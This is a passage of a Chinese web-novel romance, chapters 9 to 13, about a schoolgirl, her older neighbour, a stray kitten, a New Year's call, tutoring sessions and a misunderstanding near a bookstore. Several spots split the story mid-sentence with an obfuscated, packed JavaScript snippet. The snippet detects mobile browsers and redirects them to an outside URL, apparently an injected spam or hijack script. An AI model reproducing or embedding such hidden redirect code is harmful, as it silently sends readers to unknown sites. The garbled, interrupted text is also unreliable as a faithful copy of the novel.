陈历的目光在宋昭昭身上停顿一秒,眸中闪过细碎的情绪。考虑到宋母的情况,宋昭昭估计也不会自作主张决定收养这只小猫。 他自己做不到的事情,不会要求别人去做,更不会说些似是而非的话让别人为难。 所以,尽管内心为小猫感到惋惜,也不会贸然开口。 “是啊。”宋昭昭接上他的话,支着下巴看向狼吞虎咽的小猫,目光里略有遗憾,“它看起来好小,不知道能不能捱过这个冬季。” 陈历眸光动了动,正措辞准备开解她,宋昭昭忽地转向他,眼睛亮晶晶的。 “不然,我们给它找个能收养的人家?” 9. 第九章 09 话音落,陈历紧盯着她,没有第一时间回应。 宋昭昭沉吟片刻,道:“我妈对狗毛、猫毛这些过敏,碰到就会起疹子,皮肤发红发痒,家里肯定养不了它。你家……你明年学习应该会更忙,莲姨平时上班吃饭都很赶时间,应该也没办法面面俱到地照顾它。” “所以,最好的办法,是给它找户人家。” 宋昭昭的想法很好,实施起来却困难重重。 风光路愿意收养流浪猫狗的人家早已饱和,有些年轻人喜欢品种猫狗,更乐意去宠物店挑选合眼缘的宠物,而其余一些大爷大妈都觉得小动物在外更自由,平常给它喂点饭、喂点水就行,它们自己能活下来,不用刻意收养。 问了一圈,愿意接受小猫的人不多,甚至那些人准备接收它,抓它去体检时,小猫都要呲牙哈气,开启防御机制,眼神中推着不满和愤怒。 最后因为小猫的抗拒,领养事宜就此搁置。 不过,因为宋昭昭的热心,邻居们终于发现了这个小东西的存在,会特意在饭点前后去它常呆的地方喂食,逗它玩。 小猫从一开始的戒备到后面逐渐与人亲近,变得越来越活泼,黏人。 见到小猫与人和谐相处,宋昭昭想着虽然它在外面会经受风吹雨淋,但它也相对自由,来去自如,未尝不是件好事。 某天陈历休假,他和宋昭昭两个人齐心协力,在小猫经常打盹的地方搭建了一个小棚子,给它备了盆碗,倒了点牛奶。 小猫之前大概没喝过牛奶,第一次尝试到新奇的味道。 舔第一口前犹犹豫豫,味蕾缠上了牛奶香醇的味道之后,圆溜溜的眼睛睁得好大,又惊又喜,它失控地将整张脸都埋进盆里,心无旁骛地大口大口喝起来,风卷残云地大喝一顿,最后恋恋不舍地将盆都舔得干干净净。 小猫喝得尽兴,宋昭昭觉得做了件好事,看向它的眼神变得温暖柔和,嘴角弯起的弧度越来越大。 陈历看看小猫,又瞄一眼看得入迷的宋昭昭,无声地弯了弯嘴唇。 半分钟后,他从宽大的羽绒服口袋里再掏出一瓶牛奶,温温热热,刚好可以喝。他迎着宋昭昭的视线递了过去,语气淡淡的:“喏。” “给我的?”宋昭昭食指指向自己,语气惊喜交集。 约好了今天要帮小猫搭建棚子,但其实都是陈历在忙前忙后。忙完之后,宋昭昭在原地撸猫,陈历去小卖部买一些喂猫的零食。 刚刚给猫盆里倒牛奶的时候,她早在心底暗自夸了陈历一顿,他不仅长得帅、学习好,还有爱心,做事面面俱到。 却不料,原来他给自己也带了一瓶。 宋昭昭这会儿对他更要死心塌地了。 陈历点点头,待宋昭昭接过后低声提醒:“现在的温度刚刚好可以喝。” 陈历买的牛奶是瓶装的,风光路附近的居民会向老板订牛奶,每天都是新鲜的送过来,会放一部分摆在小卖部售卖。 宋昭昭成长期的时候,父母经常订牛奶给她喝,有营养,补充蛋白质和钙元素,有助于她长高。 瓶装鲜奶味道醇厚,她一直都挺爱喝的。 只不过读初中之后,选择住校,一周在学校待五天,父母就没有继续订,偶尔遇到老板来送奶、或者小卖部还有余量,才会买两瓶给她尝尝鲜。 宋昭昭抿了抿唇,确实很久没喝过了。 陈历递给她牛奶之后,继续帮小猫收拾搭建的棚子,她凝视着他忙前忙后的背影,慢慢旋开牛奶瓶盖,送到嘴边抿了一口,温热的、香甜的,味道浓香,入口丝滑,依旧是记忆中的味道。 冰凉的双手贴着牛奶瓶,不知不觉也变得暖和。 暖和的不止是双手。 还有一颗冬日里沉寂的、波澜不惊的心,好似冬春交际之时,铺满了冰的湖面静悄悄划过一艘小舟,湖水消融、碧波荡漾,岸边的桃花含苞待放。 在他背后,宋昭昭喃喃出声:“谢谢。” - 宋昭昭将这一瓶牛奶铭记于心,本想等着除夕夜请他和莲姨到家里一块儿吃饭、守岁,谁知她和母亲提出想法的时候,母亲告诉她,陈历跟着莲姨回了老家。 宋母在厨房炒菜,宋昭昭在旁剥蒜,打下手。 她轻轻叹口气,情绪有些低落:“什么时候走的啊,我怎么都不知道。” 宋母:“走了有两天吧,陈历兼职的工作刚好放假,你莲姨就带他回家见见老人,老人家七老八十的,平常最惦念他,下学期他就要进入高考冲刺阶段,到时候更回不去,只能过年的时候去见一见。” 宋昭昭:“我怎么都不知道他走了……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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房间内开着暖气,整个人陷入温暖,脸蛋因高温而红扑扑,她坐在书桌前,两条腿就这么放肆搭在书桌上,露出纤细雪白的脚腕。 椅子随着她身体的晃动转来转去,她兴致缺缺地放下手机,眼神毫无焦点。 临近十二点,宋昭昭准备起身上床。 正当她的手搭上椅子时,手机铃声响了起来,心中忽地腾起一股预感,她忙拿过手机,定睛一看。 手机屏幕上跳跃着来电人的姓名—— 陈历。 10. 第十章 10 宋昭昭深吸一口气,接过电话。 明明内心紧张得不行,心跳也不由自主加快,语气却格外淡定:“喂。” 陈历顿一下,低沉的嗓音从电话那端慢悠悠传过来:“睡了吗?我应该没吵醒你吧。” “没有。”宋昭昭如实回答。 “嗯。” 宋昭昭瞥向窗外,这会儿放烟花的频率比刚才还要高,由远及近,各式各样的图案在空中交织,绚烂多姿,光彩夺目。 烟花的爆破声和人们的欢呼声此起彼伏,窗外的热闹与电话两端的沉静形成鲜明对比。 脸颊与耳廓依旧泛着绯红,不知是热的,还是因为害羞。 过于安静的两端,反而更清楚地听见彼此克制的呼吸,宋昭昭不自然地吞咽了下口水,露出一丝犹豫的神色。 她率先打破沉默:“你……有什么事情吗?” 陈历失笑:“刚刚,你不是发了一条消息给我吗?” “啊……嗯,是!”宋昭昭点点头,琢磨着要不要把早已在心底打好的草稿一字不落地说出来—— 朋友说跨年要互相祝福,我想着,我们应该也算朋友,所以祝你新年快乐,希望你事事顺利,来年高考考出好成绩! 但她没胆。 宋昭昭踌躇道:“是我发的,那你……” 你也要祝福我吗? 她的话断在喉咙里,因为下一秒,她听见窗外更炸裂的烟花声,听见客厅播放的春节联欢晚会主持人的祝福声,听见爸爸妈妈扯着嗓子对她喊“昭昭,新年快乐”。 继而,她听见电话那端的陈历笑了一声。 他低声道:“宋昭昭,新年快乐。希望你明年、后年、每一年,都平安顺利。” 他祝福她,每一年都平安顺利。 所以他是挑着时间给她打的电话吗?好趁着钟声倒数,在旧年与新年的交际之时,向她送上最诚挚的祝福? 宋昭昭不得不承认,简短的一句话,让她心里悠悠一荡。 她抿着嘴道谢,不好意思地笑笑:“”你也是,希望你能够考上自己喜欢的大学,祝你前程似锦! 宋昭昭陡然抬高音量,为了表明这句祝福的真心。 “过年还要提学习啊?”陈历短促地笑了声,含着笑打趣她。 “我……” 宋昭昭的手揪着睡衣一角,脑子变得空白,明明平时同学和老师都夸她机灵,怎么面对陈历时,她总变得笨嘴拙舌。 她欲找补,陈历截断了她的话:“寒假作业写完没有?不懂的地方记得摘抄出来,等我从老家回来,再帮你辅导。” 原来他还记得! 年前陈历的兼职工作非常忙,根本抽不出时间帮她辅导,久而久之,宋昭昭以为他将自己说过的话早抛之脑后,没想到今晚他会主动提起。 “会不会太打扰你?”宋昭昭礼貌发问。 陈历声音不急不缓:“不会。辅导你功课并不会耽误我,我还挺喜欢在我的帮助之下,别人能够有所领悟和进步。” “所以……宋昭昭,你写完寒假作业了吗?” “……” 在他的质问下,宋昭昭不得不坦白:“百分之八十的进度,快了。我肯定能在你回来前整理好错题的。” 她硬着头皮许下承诺,然而非但没有感到为难,还有种被他管教的温暖。 他们又聊了几句,窗外的烟花渐渐弱下来,城市里的人们随着夜色进入梦乡。 宋昭昭也感到困乏,捂着嘴悄悄地打了个哈欠,声音不大,却被陈历捕捉到。 他问:“困了?” 其实有点,但要是承认,他肯定会选择挂电话让她去睡觉,难得有这样温馨的聊天时刻,她有些依依不舍。 宋昭昭结结巴巴开口:“还……还好。” 她果然不适合撒谎。 很容易被戳穿的谎言,陈历却信了。 他说:“既然不困,那我来跟你讲题吧,就从上回那道数学大题开始讲……” 他思路清晰,娓娓道来,宋昭昭躺在床上,边翻试卷边听他讲解,听着听着,上下眼皮开始打架,最后撑不住,歪着脑袋呼呼大睡。 她睡着后,传出浅浅的呼吸声。 陈历的声音微微一顿,轻声唤了她的名字,没有回应。 陈历不由地勾了勾嘴角,轻声细语:“晚安,昭昭。” - 过完除夕,初五那天,董莲和陈历拎着大包小包回到风光路。 他们从老家带回不少特产,董莲第一时间送到宋家。 董莲的身后紧跟着陈历,他脸上始终挂着笑容,朝宋父宋母问好。 宋母领他去宋昭昭房间,在门口嚎道:“宋昭昭,起来了!陈历哥哥来看你,你招待好人家!” 谁? 宋昭昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405663|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡得迷迷糊糊,耳朵仿佛听到母亲的呼叫,犹如在梦中,她下意识“嗯嗯”两声,说:“知道了。” 下一秒,脑袋跌回枕头,又昏睡过去。 宋母推陈历进入宋昭昭房间后,又返回客厅和董莲聊天,她热情地邀请他们中午在家中吃午饭,说着说着,又聊起八卦。 家里的酱油醋所剩无几,宋父被宋母差去小卖部买调料。 两位母亲钻入厨房忙碌,一时之间,热火朝天的房间又冷清下来。 陈历来过宋昭昭卧室,对房间的布局和摆放再熟悉不过。 他见宋昭昭双手扯着被子一角,蒙住头,睡得恍惚,显然是没清醒,他不打算打扰她。 陈历走到书桌前,轻手轻脚地坐下,视线瞄了眼桌上堆叠的试卷和错题本,回身又看了眼仍在睡梦中的宋昭昭,拿过错题本,仔仔细细翻看起来。 约莫过了半小时,蜷缩在被窝里的宋昭昭有了动静。 被子发出细细簌簌的声响,她闭着眼伸懒腰,惬意且慵懒地发出绵长的打哈欠的声音,睡眼惺忪,她艰难地睁开一条缝。 只一眼,就注意到正对着床的书桌前有一抹男性的身影。 谁? 看背影很年轻、薄瘦,应该不是老爸。那请问谁会在大清早出现在她的房间呢?她一定是还没清醒。 宋昭昭晃晃脑袋,重新闭上眼睛。 两分钟后,胡思乱想的脑子忽地顿住了。 她记起不久之前,母亲好像在门口喊她起床,说什么来着?说的是陈历来了? 陈历……来了! 靠! 宋昭昭在心底暗骂了一声,抱着一丝丝不确定和“视死如归”的表情缓缓睁开眼。 她的动静不小,早已吸引了书桌前陈历的关注,他转过身,抿唇忍笑,目光一动不动地落在她身上。 宋昭昭睁开眼时,恰好不偏不倚地撞进陈历的眼眸中。 错愕之际,她心如死灰地迅速闭上眼睛,试图用“这是一场梦”麻痹自己。 被子又盖到头顶,她将自己彻彻底底埋进去。 陈历见状,登时笑了出来,他饶有性质看宋昭昭慌乱之下做出的举动,在他看来,有几分青涩的可爱。 见她迟迟不肯抬头,他终于开口,笑吟吟的。 “宋昭昭,快起来学习了。为什么要埋着头,嗯?” “你……不想见我吗?” 11. 第十一章 11 拜托,她早就对陈历心猿意马,大清早的,他坐在她的房间,用低沉且略带嘶哑的嗓音,温柔地问她“你不想见我吗”,这不是纯纯的□□? 上天为何给她这样艰难的考验? 她犯了什么错,要面对如此绝美的男色却只能假装面不改色、泰然处之? 宋昭昭眼一闭心一横,从被窝里露出脑袋,眼睛懵懵懂懂地看向他,问:“你什么时候回来的?” “就在刚刚。” “你进来多久了?”宋昭昭抓了抓头发,心想刚刚睡觉应该没有打呼噜吧。好丢人。 陈历望向她,笑而不语。 她张了张嘴,脑子里一片空白,正打算解释些什么为自己找回形象,陈历开口:“进来有半个小时了。” 他嘴角轻轻一掀,晃了晃手里还捏着的试卷,一丝不苟:“宋昭昭,连错三道选择题,我怀疑你没有用心哦。” 默默对视一眼,宋昭昭挪开视线,干笑两声:“可能,是它太难了。” 陈历继续翻看她的作业,宋昭昭趁机躲去卫生间洗漱。毛茸茸的睡衣罩在身上暖烘烘的,她不打算换。 她动作迅速地刷牙洗脸,末了对着镜子给自己握拳打气。 梦寐以求的辅导作业,单独相处,这不就来了,宋昭昭,你要加油! 她叼着一片土司回到卧室,又给陈历拿来几袋零食,陈历淡淡地看了一眼,推远零食,拍拍椅子旁的座位,说:“坐。” 他的声音清清冷冷的,听不出满意与否的情绪。 宋昭昭不动声色地打量他,接着忙不迭吞完土司,朝陈历点点头,言下之意——你讲吧,我准备好了。 陈历收回视线,开始当着她的面揪出错题和知识点。 宋昭昭斜坐在陈历身侧,隐约能闻到他身上传过来的淡淡的洗衣液味道,萦绕在鼻尖,勾得她时不时皱下鼻子。 聊起学习时,陈历全神贯注,宋昭昭手托着腮,看他将试卷翻得哗啦啦作响。 “这里,这里,还有这里,都做错了!” 是吗? 宋昭昭眼睛一眨不眨地盯着他看,心道:眼睛,鼻子,还有嘴巴,都很好看! 陈历用自动笔将她做错的题目圈出来,研究过后发现,她的错误基本集中在代数题上,可见这是她薄弱的地方。 他又翻开数学课本,一目十行,将代数里最重要的特性和例题勾出来。 “宋昭昭。”他喊她。 “嗯?”暂时开小差的宋昭昭被陈历拉了回来,她的目光落回书本上。 “我勾出来的地方,你来讲解一遍。” 知己知彼才能百战不殆,要想知道宋昭昭对代数的认知差在哪里,当然听一遍她自己的理解最容易揪出来。 “哦,好吧。”宋昭昭应声,接过笔后抿了抿嘴,低着头开始吧啦吧啦地说。 说到最后,陈历的脸色好像越来越沉,她小心翼翼地瞟他一眼,难道她说得不对? 她的声音越来越低,话音刚落,陈历就摇头:“不对。”他拿过纸笔,耐心同她讲解。 他似乎有种魔力,一举一动都能吸引她的目光。原本心惊胆战的宋昭昭,听他一字一句辅导,也跟着他的思绪沉下心,慢慢把焦点转回课本。 他的语言令宋昭昭心里生出一股力量,仿佛照着他说的做,就能排除万难,从容不迫。 宋昭昭看着他专心分析题目的侧脸,不知不觉看入了迷。 陈历忽然转头喊:“昭昭,你来做一遍。” 说着,递过来纸笔。 昭昭,昭昭。 “昭”字有光明、明亮之意,陈历平时习惯称呼她大名,极少随着长辈唤她“昭昭”,如此突然地叫她“昭昭”,一下拉近了他们的距离。 好像变得更亲密。 宋昭昭乌黑的双眸亮了下,心口突地一跳,脸颊渐渐烧起来。 她低下头不敢看他的眼睛,伸手接笔,却因为没有注意而握住了他的手指,肌肤相触的瞬间,她“唰”地松开。 表情和动作都不太自然,宋昭昭暗骂自己没骨气,稍稍掀开眼,再次握住了笔端。 趁此间隙,眼珠子飞速地瞟了下陈历,见他仍旧面不改色,似乎并没有因为方才无意的触碰而有任何心潮起伏。 好吧,他无情无欲,是个正人君子。 左手端着草稿本,右手握笔,宋昭昭粗粗地扫了眼题目,在草稿纸上写下对应的公式。 椅子相贴,两个人的距离也越靠越近,到最后几乎是头靠着头的姿势在分析题目。 他的鼻息近在咫尺,温热的、平缓的,富有节奏地扑在她的脖颈处,总觉得像是拿了一支羽毛,在挠痒痒。 宋昭昭瑟缩了一下,鬓边的碎发垂落下来。 碎发挡在眼前,容易影响视线,陈历见她两只手都没闲着,索性帮她将飘在鬓角的头发别至耳后。 他的动作很突然,也很轻柔。 指腹不小心碰到她的耳廓,宋昭昭脸上的绯红瞬间蔓延至此,逐渐发烫。 此时此刻,岸边待放的桃花渐渐裂开紧闭的花苞,春天的花花草草开始冒了出来。 宋昭昭写步骤的笔停了又停,她的心思全然不在题目上。 陈历帮她别好头发后,收回手,视线捕捉到她的笔在草稿本上停了很久,白纸被戳出一个黑色的圆圈,浓墨突兀地点在上面。 他似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405664|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎察觉到她的异样。 宋昭昭垂着脑袋,脊背僵硬得挺直,看起来像是对这些亲密接触有点抗拒,其实,是她不知所措。 空气中弥漫着暧昧的、微妙的感觉,陈历收回的那只手,不经意地摩挲了两下指腹。 他在视若无睹和唤她回神之间摇摆不定,正要开口时,宋母推门而入。 “来来来,你们两个先吃点小蛋挞,填填肚子。” 宋母进来前已经敲过门,偏偏他们两个都有些心不在焉,因而没回应。 “中午饭要晚点吃,给你们炖鸡汤喝,炖得久一点,肉质更软烂。”她说得神采飞扬,浑然不知陈历与宋昭昭之间气氛诡异。 还是陈历率先回神,接过宋母递过来的盘子。 上面端端正正摆放了六只小蛋挞,牛奶与鸡蛋混合在一起,挥发出浓郁的香味。 宋昭昭的肚子适时叫了几声:“咕噜,咕噜……” 黑笔在草稿纸上倏地画了长长一道,宋昭昭的眼神控制不住往陈历的方向瞟。 “呦,写题呢?” 宋母见宋昭昭拿着纸笔,好奇地凑到她身后,手搭着椅背,浏览起草稿本,不过她对题目一知半解,只瞄了两眼就转了方向。 她热情地招呼陈历拿蛋挞吃,盛情难却,陈历点头应和,拿起蛋挞。 没送到嘴边,两人的眼神率先在半空中交汇,又旋即双双移开。 宋母自顾自说着话:“阿姨的最新尝试,昭昭吃过,她说我的手艺还不错哦!你也试试,这会儿味道最好。” “好。”陈历应道。 他咬了一小口,连连点头,对宋母夸赞:“嗯,很好吃。” 他的表扬给予宋母极大的信心和情绪价值,她笑容满面地抬抬手:“好吃你就多吃点,你们继续。” “我们家昭昭基础不薄弱的,只是仍需要提升点做题的技巧,麻烦你教教她了,阿历,阿姨在这里先谢谢你。” 宋母讲话格外客气,面带笑容,听得人十分舒心。 陈历谦虚地摆摆手,笑道:“我一定尽力。” 两个人又友善地聊了两句,宋母决定将空间留给两个小孩,说罢,她又转身出了卧室。 离开时,贴心地将房门合上。 宋母走后,房间陷入短暂的寂静,宋昭昭的目光又挪了回来,她不声不响地拿过一只蛋挞,默默地啃下一口。 刚刚不经意对视的那一眼,她仿佛看出那面平静无波的湖水,有了闪动的涟漪。 那是春日消融的冰块随波而下,也或许是微风轻拂。 总之,与以往不同。 宋昭昭不言不语,仿佛发现了对方一个秘密,心照不宣地保持沉默。 12. 第十二章 12 寒假过后,身为学生的他们再次投入紧张的学习当中。 陈历作为高三生,又处于高考冲刺的最后一学期,不得不打起十二分精神应对学习。市重点高中也下了通知,所有高三住宿生,从三月开始,每两周才能放一次假。 听闻消息的同学们仰天长叹,这简直比996还要残酷,扼杀人的活力。 然而,无法。 已经坚持了十多年,到最后的关头不咬牙顶上,极可能被别人弯道超车。 有次陈历和宋昭昭在他家客厅写作业,两人各占据一端,宋昭昭注意力不集中,经常写着写着就开始偷瞄他。 每次,每次他都聚精会神地低着头写题,不受任何外界干扰。 等他翻页的时候,宋昭昭才寻到空隙,支着下巴问他,为什么这么用功? 以他目前的成绩和排名,985大学任凭他挑,其实有时候可以不用那么紧绷,稍稍放松一下未尝不可。 陈历的回答令她意想不到。 他说:“因为我想万无一失。” 时至今日,他所拥有的已经很少,而高考目前还在他所能把握的行列之中。在相对公平的高考制度下,他必须、也必然抓住这个机会。 如果他连自己梦寐以求的大学都去不了,哪怕考出高分,于他而言也是另一种失败。 宋昭昭听得云里雾里,或许是因为她刚上初中,对高考的理解和感悟还没有那么深刻。不过,她注视着陈历,问:“你想考哪所大学?” 见陈历沉默,她忙摆手,解释:“你不想说也可以,不用为难。” 陈历温和地笑笑,回答:“等结束吧。等高考结束,如果我能被它顺利录取,我就带着录取通知书告诉你。” 毕竟,事以密成,言以泄败。 之前有高校向他抛来橄榄枝,打算提前录取他,陈历婉拒后,对方好奇,问他心仪的大学是哪一所。 陈历笑而不语,吐出两个字:“秘密。” 他是个悲观主义者,在事情达成之前,不会大肆宣扬、广而告之,尽管失败并不可怕,但……他想安安静静地去达成。 梦想这件事,可以藏得深一点,再深一点。 - 新学期,陈历回家的时间越来越少,宋昭昭与他一个月见不到几次面。不过线上聊天的次数有在变多,除了聊功课,话题有时候也会转向同学和老师。 宋昭昭乐于跟他分享,但更多的,是想了解他的生活。 时间仿佛墙上悬挂的钟,被悄悄拨动了时针,一晃眼来到四月。 柳絮纷飞,嫩草如茵的季节。 宋母在饭桌上偶然提起,这周陈历会回家一趟,天气逐渐转暖,他需要拿几件短袖回去,顺便在家住一晚。 得知此消息的宋昭昭,从周五晚上就开始期待,提着心等到周六中午吃饭,她状似无意地问了句:“妈,你确定陈历哥哥这周回家?” “嗯呢,你莲姨说的。” “没看见人啊。” “啧。”宋母盛了一碗汤,语重心长道,“他们现在时间紧迫,肯定是在学校写作业呢,大概要到傍晚才回来。” “哦——” 宋昭昭醍醐灌顶,拉长了尾音回应。 这周放假前,老师特意交待他们去指定的书店买辅导书和试题,宋昭昭一拖再拖。拖到周六,她想着既然陈历要到饭点才会回家,她不妨先去把书买了。 午饭过后,她钻进卧室写了一套卷子,拎着帆布包晃晃悠悠地走向公交车站。 从风光路到达指定的书店大概有十站,她坐了大约半个小时公交才到达目的地。 书店离陈历目前就读的市重点高中不过百米路程,她边走边踮起脚,扭过脖子看向学校的方向。 这周六,高中不上课,同学们可以自由选择是否回家。不回家就住在学校,回家的话也可以先在学校写完作业。 具体都看个人安排。 此时已经下午四点,从学校的方向陆续走出穿着校服的学生。 宋昭昭看着他们校服上标志的校徽,不由想起之前在陈历家的阳台上,看见过晾晒的、专属于他的宽大的校服,白蓝相间,阳光打在衣服上,暖洋洋的,微风轻轻吹拂,校服飘飘荡荡,有种生活安稳的温馨与美好。 大概也是那一眼,才让宋昭昭彻底下定决心,要更刻苦学习,不为别的,单纯只想拥有他的同款校服。 中考的筛选比小升初有过之而无不及,进入陈历所在的学校更是难上加难。 她除了认真,努力,还需日复一日坚持。 进入书店后,宋昭昭的眼前时不时走过穿着校服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405665|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的学生,即使是放学,他们也没有浪费时间,而是不约而同地钻入书店,挑选高考模拟试卷,以此提升自己。 宋昭昭在书店内部绕了一圈,找到老师指定的教材,付款的时候听见旁边两位高三生的姐姐在抱怨。 “好累啊,这日子什么时候是个头,我现在每天睡眠严重不足!上课的时候总集中不了注意力。” “我也是,两包咖啡都不顶用,眼皮子一下就合上了。诶,你买了几套试卷啊?” “三套。” “这么多,做得完吗?” “先买呗,总有用上的时候。离高考还有两个月,总不能现在就放弃吧。” “……” 她们你一言我一语,言语间尽是焦虑。 宋昭昭付款结束,将教材装入帆布包,期间偷偷瞟了一眼对话的姐姐,她们眼眶深陷,眼皮沉重地下垂着,面容憔悴。 一人背着一只双肩包,肩膀松松垮垮地耷拉着,明显是一副有气无力的模样。 宋昭昭收回视线,走出了书店。 书店后面有一座巨大的花坛,花坛约有一个足球场那么大,里面种植的树木长得高大粗壮,枝叶掩映,绿意盎然。 不仅是树,栽种的花草更是多种多样,其中有一条蜿蜒的紫藤花架,正值四月,紫藤花开,整座花坛弥漫着馥郁的花香。 花架下面有个小亭子,平时方便市民小憩、游玩。 宋昭昭拎着帆布包,决定从花坛绕路去公交车站。 走了大概三分之一的路程,到达紫藤花架前,她正要下台阶,视线里忽然闯入两抹身影,一男一女,穿着蓝白相间的校服,坐在凉亭中。 凉亭里摆着一张石桌,他们相邻而坐,女生话语如流,滔滔不绝,男生微微侧过头,仔细且专注的聆听。 不知讲的何事,女生情绪激动时疯狂掉眼泪,抽泣声隐约可闻,男生温柔安慰,从兜里掏出一包纸巾递了过去。 原本想绕路离开这里的宋昭昭,看见男生低头拿纸巾时,脚步顿在原地。 熟悉的纸巾品牌包装,跟她平常用的一模一样。 她的视线从纸巾挪到对方修长的手指上,再抱着不可置信的念头,移至对方的脸上。 这回她看清了,眼前的男生,正是多日不见的—— 陈历。 13. 第十三章 13 陈历? 宋昭昭整个人愣在原地,瞳仁因诧异而微微睁大。 他不是在学校写作业吗?为什么会出现在书店附近的花坛?坐在他旁边的女生是谁?和他什么关系? 女生为什么会哭呢?他欺负她了吗? 宋昭昭心里有太多太多疑问,以至于脑袋宕机,呆愣地停在原地。她无意听人说悄悄话,只是…… 心里没来由地感到沉闷。 双手垂里在身侧,她下意识攥紧拳头,仍没办法将紧张转移。 宋昭昭的眼睛直勾勾地盯着眼前的人,直至女生哭着靠向陈历,他身子一僵,抬起手,不知是要揽住她,还是推开她。 下一秒,陈历的视线对上宋昭昭。 两人的目光在半空交汇,宋昭昭从他的眼睛里看出了惊诧与些微慌乱。 被人突然撞破,他应该也感到尴尬和不适吧。这个时候,她应该转身就走,给他们留足谈话的空间。 如是想着,宋昭昭深呼一口气,猛地扭过脸,头也不回地往反方向离开。 坐在凉亭里的陈历薄唇微启,正要开口叫住她,得到的却是宋昭昭越走越远的背影。 最后,完完全全消失在眼前。 陈历英挺的眉头皱起来,板着脸一言不发,心想她大概误会了。 四月傍晚,阳光和煦。 虽然已是春日,但温度还没有完全升上去,迎面吹过来的风带着凉意,宋昭昭冷得紧了紧外套,马不停蹄地往公交车站走。 其实快慢都无所谓,因为陈历根本没有追上来。 宋昭昭坐上了公交车,在靠车窗的位置,开了半扇窗户,风呼啦呼啦地往里面灌,头发被风吹得有些凌乱。 她尽力将眼睛睁得大大的,好似如此就能将即将溢出眼眶的泪水吹回去。 自欺欺人罢了。 从花坛走向车站这一路,宋昭昭的心情都很低落。 她仔细思考了一遍,自己好像从未设想过他有女朋友这件事情。似乎从头到尾,都是她一厢情愿地将他划入单身的阵营。 然而长得高高帅帅、清清爽爽的男孩子,学习成绩突出,身边必然少不了追求的女生。 有女朋友是再正常不过的。 是吗? 刚刚那位女生,是他的普通同学,还是亲密的女朋友? 宋昭昭十指紧扣,无意地掰扯着手指,脑海中止不住回想,想起他们并肩而坐的背影,想起蓝白相间的校服,想起女生低声哭泣,想起男生递纸巾的手指。 最后画面停留在女生泪流满面地将头靠在男生肩膀。 他没有推开她。 所以,是他惹她伤心了吗? 宋昭昭垂下眼,她也伤心了。 难以抑制的悲伤犹如海浪滔天,在心底一遍遍翻涌。想起日后他们还可能在楼道碰面,两家人坐在一张饭桌前聚餐,她得装作若无其事的样子同他聊天。 作为对门邻居,好就好在偶遇的机会多,坏也坏在尴尬时避无可避。 宋昭昭闭上眼睛,无可奈何地长叹一口气。 下了公交车,宋昭昭慢吞吞地往家里走。 春日的风,吹得柳絮纷飞,如漫天雪花洋洋洒洒地飘落下来,雪白的柳絮被柔和的日光照拂,又好似闪烁的繁星。 宋昭昭有轻微鼻炎,虽然此画面特别美好,但她眯了眯眼睛,对这些柳絮避之不及。 她捂着口鼻、眯起眼往家的方向逃窜。 脚步杂乱,一直低着头飞奔到楼道口,没刹住脚,直直地撞进了一个人的胸膛。 “啊——” 宋昭昭吃痛,惊呼一声又连连道歉:“对不起,对不起!我没看见这里有人……” 对方扶着她的手臂,强劲有力的手让她挣了两下才挣开,宋昭昭微不可察地皱了下眉,慌忙朝后退去。 她低着头,手不停地挥赶着面前的柳絮,边动手边道歉,然而不管她说什么,被她撞到的人始终保持沉默。 四周寂静了一刹,宋昭昭终于意识到不对劲。 手臂呆愣地停在半空中,视线率先瞥到对面站立着的人穿了一双小白鞋,再往上是墨蓝色的校裤。 这条校裤是市重点高中的,整条风光路,只有一个人拥有这所学校的校服。 她在他家的阳台上见过太多回,已经过分熟悉。 宋昭昭苦笑,不能这么巧吧?怎么会是他呢?当她怀着惴惴不安的情绪再抬头时,果不其然,与陈历对上视线。 他……刚刚不是还在花坛的凉亭里坐着吗? 怎么会比她先到家? 尤其是被她不小心撞见了“幽会”的场景,闹得两个人都不知所措。 宋昭昭不知为何感到别扭,她迎着他的目光,往后退了两步,视线不自然地左右乱瞟,总之就是看天看地,不看他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 